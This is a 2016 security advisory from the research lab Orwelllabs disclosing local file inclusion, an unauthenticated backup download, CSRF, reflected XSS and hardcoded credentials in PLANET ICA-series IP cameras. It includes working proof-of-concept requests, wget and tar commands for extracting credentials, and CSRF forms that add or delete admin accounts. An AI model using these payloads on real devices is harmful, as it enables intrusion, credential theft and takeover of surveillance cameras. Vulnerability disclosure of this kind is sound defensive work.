_ _ _       _
                        | | | |     | |
  ___  _ ____      _____| | | | __ _| |__  ___
 / _ \| '__\ \ /\ / / _ \ | | |/ _` | '_ \/ __|     
| (_) | |   \ V  V /  __/ | | | (_| | |_) \__ \
 \___/|_|    \_/\_/ \___|_|_|_|\__,_|_.__/|___/
    
    Security Adivisory
       2016-04-06                 www.orwelllabs.com
          Twitter:@orwelllabs

        mantra: ...not affect a product that is in scope for... AhHum!



Overview
========
Technical Risk: high
Likelihood of Exploitation: medium
Credits: Discovered and researched by Orwelllabs
CVE-Number: N/A
DWF: Submited
Adivisory URL: http://www.orwelllabs.com/2016/02/planet
-ip-surveillance-camera-local.html [1]


Issues
=====
I.   Local File Inclusion (42 vectors)
II.  Arbitrary file read/Authentication bypass
III. Sensitive information disclosure
IV.  Cross-site request forgery
V.   Reflected Cross-site scripting
VI.  hardcoded credentials


I. Local File Inclusion
=======================
* CLASS: External Control of File Name or Path [CWE-73]

The Web Management interface of PLANET IP surveillance Cams models
FW-ICA-2500,
ICA-2250VT, ICA-4200V, ICA-4500V, ICA-3350V, ICA-5350V AND ICA-8350 and
probably
others is prone to Local File Include (LFI).


PoC
---
The request bellow is generated when a new user is added, in this case
we are adding the following administrative credential for the cam: "winst0n:
0rw3lll4bs".

GET /cgi-bin/admin/querylogin.cgi HTTP/1.1
Host: {xxx.xxx.xxx.xxx}
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:42.0) Gecko/20100101
Firefox/42.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://{xxx.xxx.xxx.xxx}/cgi-bin/admin/usrgrp.cgi?user=winst0n&pwd=
0rw3lll4bs&grp=administrator&sgrp=ptz&action=add&redirect=asp%2Fuser.asp
Cookie: ipcam_profile=1; tour_index=-1; IsHideStreamingStatus=yes
Authorization: Basic YdRRtXW41YXRtad4=
Connection: keep-alive
If-Modified-Since: Mon, 08 Jul 2013 11:10:26 GMT


If the value of the parameter "redirect" was changed to any system file
will return the contents of that file, as shown below:
http://{xxx.xxx.xxx.xxx}/cgi-bin/admin/usrgrp.cgi?user=winst0n&pwd=
0rw3lll4bs&grp=administrator&sgrp=ptz&action=add&redirect=/etc/passwd

In this case will retrieved the content of /etc/passwd

Vectors:
-------
There are a total of 42 vectors of LFI, the detailed results will be
published in www.orwelllabs.com [1] soon.
Basically all menus of the camera (shown below) to submit, add, modify and
remove settings trigger the corresponding
scripts to access resource that contains a parameter "redirect" which is
also affected.

[ ----------------------------]
[ #1:  Network ---------------] -> 9
[ #2:  Camera  ---------------] -> 3
[ #3:  System  -------------- ] -> 2
[ #4:  Video   -------------- ] -> 4
[ #5:  Audio   -------------- ] -> 1
[ #6:  User    -------------- ] -> 1
[ #7:  Protocol ------------- ] -> 2
[ #8:  E-Mail  -------------- ] -> 1
[ #9:  Event Detection ------ ] -> 1
[ #10: Storage -------------- ] -> 2
[ #11: Continuous Recording - ] -> 1
[ #12: Recording List ------- ] -> 0
[ #13: Event Server --------- ] -> 11
[ #14: Event Schedule ------- ] -> 4
[ ----------+---------------  ]



II. Arbitrary file read/Authentication bypass
=============================================
The camera offers a feature to perform the download settings via a backup
file. However,
(how acess control is not effective) this file remains accessible via the
browser for an unauthenticated user.

PoC
---
wget --no-check-certificate https://{xxx.xxx.xxx.xxx}/backup.tar.gz
tar -xzvf backup.tar.gz
cat tmp/sysConfig/sysenv.cfg|strings|fmt|cut -f8,9 -d" "

It will return the credential to access the camera

Through this vulnerability a user can also obtain the credential of the AP
to which the camera is connected just parsing
the file: 'tmp/sysConfig/extra.info'


III. Sensitive information disclosure
=====================================
Using LFI vulnerability report, a user can obtain sensitive information
such as username and password by reading the log file, as follows:

{xxx.xxx.xxx.xxx}/cgi-bin/admin/usrgrp.cgi?user=&pwd=&grp=&sgrp=&action=&redirect=/var/log/messages


IV. Cross-site request forgery
==============================
Planet IP cams ICA-* are prone to Multple CSRF.

PoC
------

- This will create a admin credential: winst0n:0rw3lll4bs

<html>
<!-- Orwelllabs - PlanetIP -CSRF PoC - -->
<body>
<form action="http://{xxx.xxx.xxx.xxx}/setup.cgi?language=ie&adduser=winst0n
:0rw3lll4bs:1">
<input type="submit" value="Submit form" />
</form>
</body>
</html>

- ICA-5350V

<html>
<!-- Orwelllabs - PlanetIP -CSRF PoC - -->
<body>
<form action="http://{xxx.xxx.xxx.xxx}/cgi-bin/admin/usrgrp.cgi?user=winst0n
&pwd=r00tx&grp=administrator&sgrp=ptz&action=add&redirect=asp%2Fuser.asp">
<input type="submit" value="Submit form" />
</form>
</body>
</html>

- Del user root

<html>
<!-- Orwelllabs - PlanetIP -CSRF PoC - -->
<body>
<form action="http://
{xxx.xxx.xxx.xxx}/cgi-bin/admin/usrgrp.cgi?user=root&pwd=r00tx&grp=administrator&sgrp=ptz&action=remove&redirect=asp%2Fuser.asp">
<input type="submit" value="Submit form" />
</form>
</body>
</html>


V. Cross-Site Scripting
=======================
Cams models ICA-* are prone to Multiple XSS

POC
-------
http://{xxx.xxx.xxx.xxx}/setup.cgi?<script>alert("XSS")</script>

this will pop-up the message XSS in the browser


VI. hardcoded credentials
=========================
The credentials of web management can be found just viewing the source of
page default_nets.htm:


PoC
------
https://{xxx.xxx.xxx.xxx}/default_nets.htm

code:

}

function av_onload(){
CheckMobileMode();
util_SetUserInfo();
Loadplay();
watchdog();
//alert("watchdog");
}
function Loadplay(){
play("MasterUsr","MasterPwd","554",parseInt("99"),parseInt("99"),"1",parseInt("2"),parseInt("0"),"192.168.1.99","");
}


Vulnerable Packages
===================
ICA-2500
ICA-2250VT
ICA-4200V
ICA-4500V
ICA-3350V
ICA-5350V
ICA-8350



Timeline
========
2015-10-02 - Issues discovered
2015-11-30 - Vendor contacted (advisore sent)
2015-12-16 - Vendor contacted (asking for feedback about reported issues)
2015-12-17 - Vendor response (asking for more time to check issues)
2015-12-21 - RD team replied: can't duplicate vulnerabilities....
2016-01-13 - Vendor contacted (submitted evidence that the vulnerabilities
persist and can be reproduced.)
...and no news after that...



Legal Notices
+++++++++++++
The information contained within this advisory and in any other published
by our lab is supplied "as-is" with no warranties or guarantees of fitness
of use or otherwise. I accept no responsibility for any damage caused by
the use or misuse of this information.


About Orwelllabs
++++++++++++++++
Orwelllabs is an independent security research lab interested in IoT, what
means embedded devices and all its components like web applications, network,
mobile applications and all surface areas prone to attack. Orwelllabs aims
to study, learn and produce some intelligence around this vast and
confusing big picture called smart cities. We have special appreciation for
devices designed to provide security to these highly technological cities,
also known as IoST.



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